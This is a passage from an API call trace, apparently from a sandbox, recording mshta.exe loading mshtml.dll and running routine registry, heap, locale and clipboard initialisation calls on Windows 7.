returned 0x0 [0028.878] SetLastError (dwErrCode=0x0) [0028.878] GetLastError () returned 0x0 [0028.879] SetLastError (dwErrCode=0x0) [0028.879] GetLastError () returned 0x0 [0028.879] SetLastError (dwErrCode=0x0) [0028.879] GetLastError () returned 0x0 [0028.879] SetLastError (dwErrCode=0x0) [0028.879] GetVersion () returned 0x1db10106 [0028.879] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76e10000 [0028.880] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSetInformation") returned 0x76e25651 [0028.880] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0028.880] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x105) returned 0x8e1de8 [0028.880] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x105) returned 0x8e0e78 [0028.880] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="clsid\\{25336920-03f9-11cf-8fd0-00aa00686f13}\\InProcServer32", ulOptions=0x0, samDesired=0x1, phkResult=0x3cfcbc | out: phkResult=0x3cfcbc*=0x42) returned 0x0 [0028.880] RegQueryValueExA (in: hKey=0x42, lpValueName=0x0, lpReserved=0x0, lpType=0x3cfcb4, lpData=0x8e1de8, lpcbData=0x3cfcb0*=0x105 | out: lpType=0x3cfcb4*=0x1, lpData="C:\\Windows\\SysWOW64\\mshtml.dll", lpcbData=0x3cfcb0*=0x1f) returned 0x0 [0028.881] LoadLibraryA (lpLibFileName="C:\\Windows\\SysWOW64\\mshtml.dll") returned 0x73350000 [0029.982] GetProcessHeap () returned 0x4a0000 [0029.982] GetVersion () returned 0x1db10106 [0029.982] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76e10000 [0029.982] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSetInformation") returned 0x76e25651 [0029.982] HeapSetInformation (HeapHandle=0x4a0000, HeapInformationClass=0x0, HeapInformation=0x3cf948, HeapInformationLength=0x4) returned 1 [0029.983] malloc (_Size=0x80) returned 0x6f2640 [0029.984] GetVersion () returned 0x1db10106 [0029.993] GetVersionExA (in: lpVersionInformation=0x3cf820*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3cf820*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0029.993] __dllonexit () returned 0x7357717c [0029.993] __dllonexit () returned 0x735773bd [0029.993] GetProcessHeap () returned 0x4a0000 [0029.994] __dllonexit () returned 0x73577435 [0029.994] __dllonexit () returned 0x73576e75 [0029.994] __dllonexit () returned 0x73576ff5 [0029.994] __dllonexit () returned 0x735771be [0029.994] __dllonexit () returned 0x735772e2 [0029.994] __dllonexit () returned 0x73577320 [0029.994] __dllonexit () returned 0x73577370 [0029.995] __dllonexit () returned 0x73576e53 [0029.995] __dllonexit () returned 0x73576e66 [0029.995] __dllonexit () returned 0x73576a3e [0029.995] __dllonexit () returned 0x73576a46 [0029.995] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc053 [0029.995] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc053 [0029.995] __dllonexit () returned 0x73576a60 [0029.995] __dllonexit () returned 0x73576a7a [0029.995] __dllonexit () returned 0x73576a93 [0029.995] __dllonexit () returned 0x73576aa7 [0029.995] __dllonexit () returned 0x73576ac1 [0029.995] __dllonexit () returned 0x735771f1 [0029.995] __dllonexit () returned 0x73576ad0 [0029.995] __dllonexit () returned 0x73576adf [0029.995] __dllonexit () returned 0x73576aee [0029.996] __dllonexit () returned 0x73576afd [0029.996] __dllonexit () returned 0x73576b0d [0029.996] __dllonexit () returned 0x7357720c [0029.996] __dllonexit () returned 0x73576b1c [0029.996] __dllonexit () returned 0x73576b2f [0029.996] __dllonexit () returned 0x73576b49 [0029.996] __dllonexit () returned 0x73576b58 [0029.996] __dllonexit () returned 0x73576b67 [0029.996] __dllonexit () returned 0x73576b76 [0029.996] __dllonexit () returned 0x73576b85 [0029.996] __dllonexit () returned 0x73576b94 [0029.996] __dllonexit () returned 0x73576ba3 [0029.996] __dllonexit () returned 0x73576bb2 [0029.996] __dllonexit () returned 0x73576bc1 [0029.997] __dllonexit () returned 0x73576bd0 [0029.997] __dllonexit () returned 0x73576bdf [0029.997] __dllonexit () returned 0x73576bee [0029.997] __dllonexit () returned 0x73576bfd [0029.997] __dllonexit () returned 0x73576c0c [0029.997] __dllonexit () returned 0x73576c1b [0029.997] __dllonexit () returned 0x73576c2a [0029.997] __dllonexit () returned 0x73576c3d [0029.997] __dllonexit () returned 0x73576c4c [0029.997] __dllonexit () returned 0x73576c5b [0029.997] __dllonexit () returned 0x73576c75 [0029.997] __dllonexit () returned 0x73576c8f [0029.997] __dllonexit () returned 0x73576ca9 [0029.997] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0029.998] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0029.998] __dllonexit () returned 0x73576cb1 [0029.998] __dllonexit () returned 0x73577294 [0029.998] __dllonexit () returned 0x73576ccb [0029.998] __dllonexit () returned 0x73576cd3 [0029.998] __dllonexit () returned 0x73576ce2 [0029.998] __dllonexit () returned 0x73576cf1 [0029.998] __dllonexit () returned 0x73576d00 [0029.998] __dllonexit () returned 0x7356f72d [0029.998] __dllonexit () returned 0x73576d43 [0029.998] __dllonexit () returned 0x73576d56 [0029.998] __dllonexit () returned 0x7356f095 [0029.999] __dllonexit () returned 0x73576d65 [0029.999] __dllonexit () returned 0x73576d78 [0029.999] __dllonexit () returned 0x73576d87 [0029.999] __dllonexit () returned 0x73576d9a [0029.999] __dllonexit () returned 0x73572256 [0029.999] __dllonexit () returned 0x7357679d [0029.999] __dllonexit () returned 0x73576dd5 [0029.999] __dllonexit () returned 0x73576df8 [0029.999] __dllonexit () returned 0x73576e07 [0029.999] __dllonexit () returned 0x735776cb [0029.999] __dllonexit () returned 0x73576e1a [0030.000] __dllonexit () returned 0x735772aa [0030.000] __dllonexit () returned 0x735772cb [0030.000] __dllonexit () returned 0x73576e3a [0030.000] GetCurrentThreadId () returned 0x664 [0030.000] CoCreateGuid (in: pguid=0x7388ad20 | out: pguid=0x7388ad20*(Data1=0x9573b6ca, Data2=0xeef1, Data3=0x47f6, Data4=([0]=0x8e, [1]=0xc0, [2]=0x9, [3]=0x1b, [4]=0x68, [5]=0xbe, [6]=0xfb, [7]=0xe4))) returned 0x0 [0030.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x200) returned 0x4be740 [0030.002] __dllonexit () returned 0x7357733d [0030.002] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cf2c0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0030.002] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0030.002] StrCmpICW (pszStr1="mshta.exe", pszStr2="iexplore.exe") returned 4 [0030.002] StrCmpICW (pszStr1="mshta.exe", pszStr2="explorer.exe") returned 8 [0030.002] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x4be948 [0030.002] SHRegGetValueW () returned 0x2 [0030.002] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf50c | out: phkResult=0x3cf50c*=0x0) returned 0x2 [0030.002] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf508 | out: phkResult=0x3cf508*=0x0) returned 0x2 [0030.002] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x94) returned 0x0 [0030.002] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x98) returned 0x0 [0030.005] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.007] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.007] RegCloseKey (hKey=0x0) returned 0x6 [0030.007] RegCloseKey (hKey=0x0) returned 0x6 [0030.007] RegCloseKey (hKey=0x94) returned 0x0 [0030.007] RegCloseKey (hKey=0x98) returned 0x0 [0030.007] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x98) returned 0x0 [0030.007] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x94) returned 0x0 [0030.007] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.007] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.007] RegCloseKey (hKey=0x0) returned 0x6 [0030.007] RegCloseKey (hKey=0x0) returned 0x6 [0030.007] RegCloseKey (hKey=0x98) returned 0x0 [0030.007] RegCloseKey (hKey=0x94) returned 0x0 [0030.007] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x94) returned 0x0 [0030.007] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x98) returned 0x0 [0030.008] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.008] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.008] RegCloseKey (hKey=0x0) returned 0x6 [0030.008] RegCloseKey (hKey=0x0) returned 0x6 [0030.008] RegCloseKey (hKey=0x94) returned 0x0 [0030.008] RegCloseKey (hKey=0x98) returned 0x0 [0030.008] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x98) returned 0x0 [0030.008] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x94) returned 0x0 [0030.008] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.008] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x9c) returned 0x0 [0030.008] SHRegGetValueW () returned 0x2 [0030.008] SHRegGetValueW () returned 0x2 [0030.008] RegCloseKey (hKey=0x9c) returned 0x0 [0030.008] RegCloseKey (hKey=0x0) returned 0x6 [0030.008] RegCloseKey (hKey=0x0) returned 0x6 [0030.008] RegCloseKey (hKey=0x98) returned 0x0 [0030.008] RegCloseKey (hKey=0x94) returned 0x0 [0030.008] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x94) returned 0x0 [0030.009] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x98) returned 0x0 [0030.009] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.009] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.009] RegCloseKey (hKey=0x0) returned 0x6 [0030.009] RegCloseKey (hKey=0x0) returned 0x6 [0030.009] RegCloseKey (hKey=0x94) returned 0x0 [0030.009] RegCloseKey (hKey=0x98) returned 0x0 [0030.009] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x98) returned 0x0 [0030.009] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x94) returned 0x0 [0030.009] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.009] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.009] RegCloseKey (hKey=0x0) returned 0x6 [0030.009] RegCloseKey (hKey=0x0) returned 0x6 [0030.009] RegCloseKey (hKey=0x98) returned 0x0 [0030.009] RegCloseKey (hKey=0x94) returned 0x0 [0030.010] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x94) returned 0x0 [0030.010] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x98) returned 0x0 [0030.010] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.010] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.010] RegCloseKey (hKey=0x0) returned 0x6 [0030.010] RegCloseKey (hKey=0x0) returned 0x6 [0030.010] RegCloseKey (hKey=0x94) returned 0x0 [0030.010] RegCloseKey (hKey=0x98) returned 0x0 [0030.010] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x98) returned 0x0 [0030.010] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x94) returned 0x0 [0030.010] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.010] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.010] RegCloseKey (hKey=0x0) returned 0x6 [0030.010] RegCloseKey (hKey=0x0) returned 0x6 [0030.010] RegCloseKey (hKey=0x98) returned 0x0 [0030.010] RegCloseKey (hKey=0x94) returned 0x0 [0030.011] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x94) returned 0x0 [0030.011] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x98) returned 0x0 [0030.011] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.011] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.011] RegCloseKey (hKey=0x0) returned 0x6 [0030.011] RegCloseKey (hKey=0x0) returned 0x6 [0030.011] RegCloseKey (hKey=0x94) returned 0x0 [0030.011] RegCloseKey (hKey=0x98) returned 0x0 [0030.011] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x98) returned 0x0 [0030.011] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x94) returned 0x0 [0030.011] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.011] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.011] RegCloseKey (hKey=0x0) returned 0x6 [0030.011] RegCloseKey (hKey=0x0) returned 0x6 [0030.011] RegCloseKey (hKey=0x98) returned 0x0 [0030.011] RegCloseKey (hKey=0x94) returned 0x0 [0030.012] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x94) returned 0x0 [0030.012] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x98) returned 0x0 [0030.012] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.012] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.012] RegCloseKey (hKey=0x0) returned 0x6 [0030.012] RegCloseKey (hKey=0x0) returned 0x6 [0030.012] RegCloseKey (hKey=0x94) returned 0x0 [0030.012] RegCloseKey (hKey=0x98) returned 0x0 [0030.012] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x98) returned 0x0 [0030.012] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x94) returned 0x0 [0030.012] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.012] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.012] RegCloseKey (hKey=0x0) returned 0x6 [0030.012] RegCloseKey (hKey=0x0) returned 0x6 [0030.012] RegCloseKey (hKey=0x98) returned 0x0 [0030.013] RegCloseKey (hKey=0x94) returned 0x0 [0030.013] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0030.014] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x98) returned 0x0 [0030.014] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x9c) returned 0x0 [0030.014] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.014] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.014] RegCloseKey (hKey=0x0) returned 0x6 [0030.014] RegCloseKey (hKey=0x0) returned 0x6 [0030.014] RegCloseKey (hKey=0x98) returned 0x0 [0030.014] RegCloseKey (hKey=0x9c) returned 0x0 [0030.014] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x9c) returned 0x0 [0030.014] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x98) returned 0x0 [0030.014] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.014] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.014] RegCloseKey (hKey=0x0) returned 0x6 [0030.014] RegCloseKey (hKey=0x0) returned 0x6 [0030.014] RegCloseKey (hKey=0x9c) returned 0x0 [0030.014] RegCloseKey (hKey=0x98) returned 0x0 [0030.015] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf500 | out: phkResult=0x3cf500*=0x98) returned 0x0 [0030.015] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf504 | out: phkResult=0x3cf504*=0x9c) returned 0x0 [0030.015] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.015] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c0 | out: phkResult=0x3cf4c0*=0x0) returned 0x2 [0030.015] RegCloseKey (hKey=0x0) returned 0x6 [0030.015] RegCloseKey (hKey=0x0) returned 0x6 [0030.015] RegCloseKey (hKey=0x98) returned 0x0 [0030.015] RegCloseKey (hKey=0x9c) returned 0x0 [0030.015] GetSystemMetrics (nIndex=68) returned 4 [0030.015] GetSystemMetrics (nIndex=69) returned 4 [0030.015] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14 [0030.016] GetSystemDefaultLCID () returned 0x409 [0030.016] GetVersionExW (in: lpVersionInformation=0x3cf464*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7734e36c, dwMinorVersion=0x7734e0d2, dwBuildNumber=0x7388afd8, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3cf464*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0030.016] GetUserDefaultUILanguage () returned 0x409 [0030.016] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0x3cf3b4, cchData=16 | out: lpLCData="\x03") returned 16 [0030.034] GetKeyboardLayoutList (in: nBuff=32, lpList=0x3cf3e4 | out: lpList=0x3cf3e4) returned 1 [0030.034] GetSystemMetrics (nIndex=4096) returned 0 [0030.034] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf508 | out: phkResult=0x3cf508*=0x9c) returned 0x0 [0030.043] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf50c | out: phkResult=0x3cf50c*=0x98) returned 0x0 [0030.043] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c8 | out: phkResult=0x3cf4c8*=0x0) returned 0x2 [0030.043] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf4c8 | out: phkResult=0x3cf4c8*=0x0) returned 0x2 [0030.043] RegCloseKey (hKey=0x0) returned 0x6 [0030.043] RegCloseKey (hKey=0x0) returned 0x6 [0030.043] RegCloseKey (hKey=0x9c) returned 0x0 [0030.043] RegCloseKey (hKey=0x98) returned 0x0 [0030.043] GetModuleFileNameW (in: hModule=0x73350000, lpFilename=0x3cf370, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshtml.dll" (normalized: "c:\\windows\\syswow64\\mshtml.dll")) returned 0x1e [0030.043] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x3e) returned 0x4b3cf0 [0030.043] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0030.043] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0030.043] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0030.043] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0030.043] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0030.043] 